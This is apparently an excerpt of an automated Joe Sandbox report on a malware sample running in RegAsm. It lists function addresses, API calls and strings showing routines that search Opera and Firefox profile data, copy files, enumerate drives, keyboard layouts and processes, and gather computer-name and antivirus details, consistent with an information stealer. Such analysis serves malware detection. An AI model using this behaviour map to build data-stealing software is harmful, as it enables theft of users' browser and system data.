Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$File$H_prolog$Find$CloseCreate$AllocFirstHandleLocalNextObjectReadSingleSizeThreadWaitlstrcpywsprintf
String ID: %s\%s
API String ID: 2282932919-4073750446
Opcode ID: 297e3daf63be3f9388da754876be3650526065ada206baa5a6a1fd9e4802f159
Instruction ID: 94379aee551275b5d998bba74236b2289a82a8dc712773d574ff1e2d259f5726
Opcode Fuzzy Hash: 297e3daf63be3f9388da754876be3650526065ada206baa5a6a1fd9e4802f159
Instruction Fuzzy Hash: 9E511D72900229ABDF11EBA1DD49EDE7B7CAF49304F0404AAE605E2151E7389789CBA5

Function 00409F72 Relevance: 23.4, APIs: 8, Strings: 5, Instructions: 628fileCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00409F77

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426B18,?,00000000,004265C7), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,?,?,00425C06,00000000,-00000020,00000000), ref: 00409FF6
StrCmpCA.SHLWAPI(?,00425E68), ref: 0040A050
StrCmpCA.SHLWAPI(?,00425E6C), ref: 0040A06A
StrCmpCA.SHLWAPI(00000000,Opera,00425C13,00425C12,00425C0F,00425C0E,00425C0B,00425C0A,00425C07), ref: 0040A0FD
StrCmpCA.SHLWAPI(00000000,Opera GX), ref: 0040A111
StrCmpCA.SHLWAPI(00000000,Opera Crypto), ref: 0040A125

Part of subcall function 00401061: _EH_prolog.MSVCRT ref: 00401066

Strings

7, xrefs: 0040A780
\*.*, xrefs: 00409FAD
Opera Crypto, xrefs: 0040A117
Opera GX, xrefs: 0040A103
Opera, xrefs: 0040A0EB

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prologlstrcpy$lstrcat$FileFindFirstlstrlen
String ID: 7$Opera$Opera Crypto$Opera GX$\*.*
API String ID: 3869166975-536343317
Opcode ID: 6700c66a51acd6c16a295116433c442144113a80d9080ee2fe10d6ef4b4d74b1
Instruction ID: a17e2f684122670e3be7096712bbacc747ed706b0b8df0d6fbcd956b9d9e9cda
Opcode Fuzzy Hash: 6700c66a51acd6c16a295116433c442144113a80d9080ee2fe10d6ef4b4d74b1
Instruction Fuzzy Hash: 2C425B70904288EADF15EBE5C955BDDBBB46F29308F5040BEA409736C2DB781B4CCB66

Function 00415843 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 151stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00415848
GetLogicalDriveStringsA.KERNEL32(00000064,?), ref: 004158AA
memset.MSVCRT ref: 004158C9
GetDriveTypeA.KERNEL32(?), ref: 004158D2
lstrcpy.KERNEL32(?,00000000), ref: 004158F2
lstrcpy.KERNEL32(?,00000000), ref: 00415910

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 004153F6: _EH_prolog.MSVCRT ref: 004153FB
Part of subcall function 004153F6: wsprintfA.USER32 ref: 00415421
Part of subcall function 004153F6: FindFirstFileA.KERNEL32(?,?), ref: 00415438
Part of subcall function 004153F6: memset.MSVCRT ref: 0041544F
Part of subcall function 004153F6: memset.MSVCRT ref: 0041545D
Part of subcall function 004153F6: StrCmpCA.SHLWAPI(?,0042684C), ref: 0041547B
Part of subcall function 004153F6: StrCmpCA.SHLWAPI(?,00426850), ref: 00415495
Part of subcall function 004153F6: wsprintfA.USER32 ref: 004154B9
Part of subcall function 004153F6: StrCmpCA.SHLWAPI(?,0042656E), ref: 004154CA
Part of subcall function 004153F6: wsprintfA.USER32 ref: 004154F0
Part of subcall function 004153F6: memset.MSVCRT ref: 00415516
Part of subcall function 004153F6: lstrcat.KERNEL32(?,?), ref: 00415528
Part of subcall function 004153F6: strtok_s.MSVCRT ref: 00415561
Part of subcall function 004153F6: memset.MSVCRT ref: 00415576
Part of subcall function 004153F6: lstrcat.KERNEL32(?,?), ref: 0041558B

lstrcpy.KERNEL32(?,00000000), ref: 00415933
lstrlenA.KERNEL32(?), ref: 00415998

Strings

%DRIVE_FIXED%, xrefs: 00415917
*%DRIVE_REMOVABLE%*, xrefs: 0041587F
%DRIVE_REMOVABLE%, xrefs: 004158F9
*%DRIVE_FIXED%*, xrefs: 0041585C

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: memset$H_prologlstrcpywsprintf$Drivelstrcat$FileFindFirstLogicalStringsTypelstrlenstrtok_s
String ID: %DRIVE_FIXED%$%DRIVE_REMOVABLE%$*%DRIVE_FIXED%*$*%DRIVE_REMOVABLE%*
API String ID: 2879972474-147700698
Opcode ID: 4245d552df83b068be1558a689d43aef9dea607818b0117f9054742c8dc341e5
Instruction ID: 8fb32ebea5ed90456f7ca7ea911cfe9f81c0b13f291b8680dac0f4474b3225bb
Opcode Fuzzy Hash: 4245d552df83b068be1558a689d43aef9dea607818b0117f9054742c8dc341e5
Instruction Fuzzy Hash: 395152B190025CEADF30AF61DC55EEE7B7DAF05344F50003ABA15A2191DB386A49CB59

Function 00401162 Relevance: 20.0, APIs: 9, Strings: 2, Instructions: 771fileCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00401167

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00422374,?,?,?,00422370,?,?,00000000,?,00000000), ref: 004013AC
StrCmpCA.SHLWAPI(?,00422378), ref: 004013CA
StrCmpCA.SHLWAPI(?,0042237C), ref: 004013E4
FindFirstFileA.KERNEL32(00000000,?,?,?,?,00422388,?,?,?,00422384,?,?,?,00422380,?,?), ref: 00401510

Part of subcall function 00410D21: SHGetFolderPathA.SHELL32(00000000,00425C93,00000000,00000000,?), ref: 00410D52

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426B18,?,00000000,004265C7), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 00410B5C: _EH_prolog.MSVCRT ref: 00410B61
Part of subcall function 00410B5C: GetSystemTime.KERNEL32(?,00426498,00000001,000000C8,00000000,004265BA), ref: 00410BA1

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 0040618B: _EH_prolog.MSVCRT ref: 00406190
Part of subcall function 0040618B: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061B3
Part of subcall function 0040618B: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 004061CA
Part of subcall function 0040618B: LocalAlloc.KERNEL32(00000040,?,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061E6
Part of subcall function 0040618B: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,?,00000000), ref: 00406200
Part of subcall function 0040618B: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 00406221

FindNextFileA.KERNEL32(00000000,?,?,?,?,?,?,0042238C), ref: 00401832
FindClose.KERNEL32(00000000,?,?,?,?,?,0042238C), ref: 00401841
FindNextFileA.KERNEL32(?,?), ref: 00401BD4
FindClose.KERNEL32(?), ref: 00401BE5

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 00414437: _EH_prolog.MSVCRT ref: 0041443C
Part of subcall function 00414437: CreateThread.KERNEL32(00000000,00000000,00413326,?,00000000,00000000), ref: 004144E2
Part of subcall function 00414437: WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 004144EA

Part of subcall function 00410CDD: _EH_prolog.MSVCRT ref: 00410CE2
Part of subcall function 00410CDD: GetFileAttributesA.KERNEL32(00000000,?,0040BAC2,?,00425C4E,?,?), ref: 00410CF6

Part of subcall function 0040618B: LocalFree.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 00406216

Part of subcall function 00414437: Sleep.KERNEL32(000003E8,?,?,?,?,?,00000000), ref: 004144C0

Strings

7, xrefs: 00401BA9
\*.*, xrefs: 004012AF

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FileH_prolog$Find$lstrcpy$Close$CreateFirstLocalNextlstrcat$AllocAttributesFolderFreeHandleObjectPathReadSingleSizeSleepSystemThreadTimeWaitlstrlen
String ID: 7$\*.*
API String ID: 40499504-4165053604
Opcode ID: 2415c5a552409a1327100fa76e5c65bacbb48c19f6e4dd66bfc40bef1be4ee54
Instruction ID: 8097af2253b6e43ffd1ff437b79a581fef85e219c3474a36129b1183f2ad689d
Opcode Fuzzy Hash: 2415c5a552409a1327100fa76e5c65bacbb48c19f6e4dd66bfc40bef1be4ee54
Instruction Fuzzy Hash: 04624D70904188EADB15EBE5C955BDDBBB8AF29308F5040BEA509735C2DF781B4CCB25

Function 0040B463 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 311fileCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040B468

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426B18,?,00000000,004265C7), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

FindFirstFileA.KERNEL32(00000000,?,00000000,?,00425F68,?,?,00425C47,?,00000000,?), ref: 0040B4E7
StrCmpCA.SHLWAPI(?,00425F6C,?,00000000,?), ref: 0040B50B
StrCmpCA.SHLWAPI(?,00425F70,?,00000000,?), ref: 0040B525
StrCmpCA.SHLWAPI(?,prefs.js,00000000,?,?,?,00425F74,?,?,00425C4A,?,00000000,?), ref: 0040B5C1

Part of subcall function 00410B5C: _EH_prolog.MSVCRT ref: 00410B61
Part of subcall function 00410B5C: GetSystemTime.KERNEL32(?,00426498,00000001,000000C8,00000000,004265BA), ref: 00410BA1

CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,?,00425F84,?,?,00000000,00425C4B,?,00000000,?), ref: 0040B6C6
DeleteFileA.KERNEL32(00000000,?,?,?,?,?,?), ref: 0040B79B
FindNextFileA.KERNELBASE(?,?,?,00000000,?), ref: 0040B84A
FindClose.KERNEL32(?,?,00000000,?), ref: 0040B85B

Strings

prefs.js, xrefs: 0040B5B5

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FileH_prologlstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextSystemTimelstrlen
String ID: prefs.js
API String ID: 2318033617-3783873740
Opcode ID: 5666919e8824e042d0b5f70852cf441639314b1659d2301ad99abcf42152bb5b
Instruction ID: be7758ef0e9bd93280a5f92db672ae0ad47210b716bb060d05ded798a66e6481
Opcode Fuzzy Hash: 5666919e8824e042d0b5f70852cf441639314b1659d2301ad99abcf42152bb5b
Instruction Fuzzy Hash: C9D18471900248EADB14EBE5C956BDDBBB4AF19304F5040BEE409B36C2DB781B4CCB66

Function 004094E5 Relevance: 15.3, APIs: 10, Instructions: 301fileCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004094EA

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426B18,?,00000000,004265C7), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

FindFirstFileA.KERNEL32(00000000,?,00000000,?,00425E1C,?,?,00425BFA,?), ref: 00409567
StrCmpCA.SHLWAPI(?,00425E20), ref: 00409584
StrCmpCA.SHLWAPI(?,00425E24), ref: 0040959E
StrCmpCA.SHLWAPI(?,00000000,?,?,?,00425E28,?,?,00425BFB), ref: 00409635
StrCmpCA.SHLWAPI(?), ref: 004096B6

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 00408759: _EH_prolog.MSVCRT ref: 0040875E
Part of subcall function 00408759: CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,00000000,00000000,?,00425DC8,?,?,?,00425BEA,00000000), ref: 00408841

FindNextFileA.KERNELBASE(00000000,?), ref: 0040989F
FindClose.KERNEL32(00000000), ref: 004098AE

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prologlstrcpy$FileFind$lstrcat$CloseCopyFirstNextlstrlen
String ID:
API String ID: 322284088-0
Opcode ID: e559499c3d2ef85a473f19cc83e64b7af054a451df30679cf9fec3c86fffa07d
Instruction ID: f469bbe6791ff6929fd52be51ed7484ae91504fa3db0a5c2044313ffea23fdba
Opcode Fuzzy Hash: e559499c3d2ef85a473f19cc83e64b7af054a451df30679cf9fec3c86fffa07d
Instruction Fuzzy Hash: 73C17270900249EADF10EBA5D9167DDBFB8AB09304F10417EE844B36C2DB785B08CBA6

Function 0040FCE5 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040FCEA

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

GetKeyboardLayoutList.USER32(00000000,00000000,004262AF,00000001,?,00000000), ref: 0040FD1C
LocalAlloc.KERNEL32(00000040,00000000,?,00000000), ref: 0040FD2A
GetKeyboardLayoutList.USER32(00000000,00000000,?,00000000), ref: 0040FD35
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200,?,00000000), ref: 0040FD5F

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426B18,?,00000000,004265C7), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

LocalFree.KERNEL32(?), ref: 0040FE03

Strings

/ , xrefs: 0040FD6D

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$H_prologKeyboardLayoutListLocal$AllocFreeInfoLocalelstrcatlstrlen
String ID: /
API String ID: 2868853201-4001269591
Opcode ID: 8e81c3fcb6512392ecb3f0709d7808244dc03f0de8ce522feb2af1cedb86ee9d
Instruction ID: 670fa807c41248f436aa2cd72aaefdfaece762a4e3a61ecb974f96717b874319
Opcode Fuzzy Hash: 8e81c3fcb6512392ecb3f0709d7808244dc03f0de8ce522feb2af1cedb86ee9d
Instruction Fuzzy Hash: D231EDB1901119EFDB10EFE5D885AEEBBB9EF48304F54407EE509B3681C7785A88CB64

Function 004106C4 Relevance: 9.1, APIs: 6, Instructions: 67commemoryCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004106C9
CoCreateInstance.OLE32(00426D5C,00000000,00000001,00426488,?,00000001,00000000,00000000,00000001,?,00000000), ref: 004106F0
SysAllocString.OLEAUT32(?), ref: 004106FD
_wtoi64.MSVCRT ref: 00410738
SysFreeString.OLEAUT32(?), ref: 0041074B
SysFreeString.OLEAUT32(00000000), ref: 00410752

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: String$Free$AllocCreateH_prologInstance_wtoi64
String ID:
API String ID: 1816492551-0
Opcode ID: 5a519e56b5a3f35fac8b8731372418453ffdd9c68a54ed5590e156cd5d61d494
Instruction ID: 38727b362cf05651e2ba0c167973076b7eb5e8e7f8c877263c03ca4ede2a4bf2
Opcode Fuzzy Hash: 5a519e56b5a3f35fac8b8731372418453ffdd9c68a54ed5590e156cd5d61d494
Instruction Fuzzy Hash: A921A571A00109AFCB00DFA4DD889EE7BB5FF88304B60846EF515E7250C7B59D85CB64

Function 004111BE Relevance: 9.0, APIs: 6, Instructions: 45processCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004111C3
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004111E9
Process32First.KERNEL32(00000000,00000128), ref: 004111F9
Process32Next.KERNEL32(00000000,00000128), ref: 0041120B
StrCmpCA.SHLWAPI(?,?,?,?,00000000), ref: 0041121F
CloseHandle.KERNEL32(00000000,?,?,00000000), ref: 00411232

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstH_prologHandleNextSnapshotToolhelp32
String ID:
API String ID: 186290926-0
Opcode ID: a9f169bdbb2cdc4e9d02c35b7c1d11867838652ed038367759a7d765107c7668
Instruction ID: 368edb313bfa2f31f76f5ba6fbd020b911e3fe3703e22c74ac1c99050383bae8
Opcode Fuzzy Hash: a9f169bdbb2cdc4e9d02c35b7c1d11867838652ed038367759a7d765107c7668
Instruction Fuzzy Hash: 56015A71900028AFDB119F95DD48ADEBBB9EF86300F204096F505F2220D7788F84CFA5

Function 0040FC92 Relevance: 6.0, APIs: 4, Instructions: 29memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,00000000,00000000,?,Computer Name: ,00000000,?,00426654,00000000,?,00000000,00000000,?,AV: ), ref: 0040FCA3
HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,Computer Name: ,00000000,?,00426654,00000000,?,00000000,00000000,?,AV: ,00000000), ref: 0040FCAA
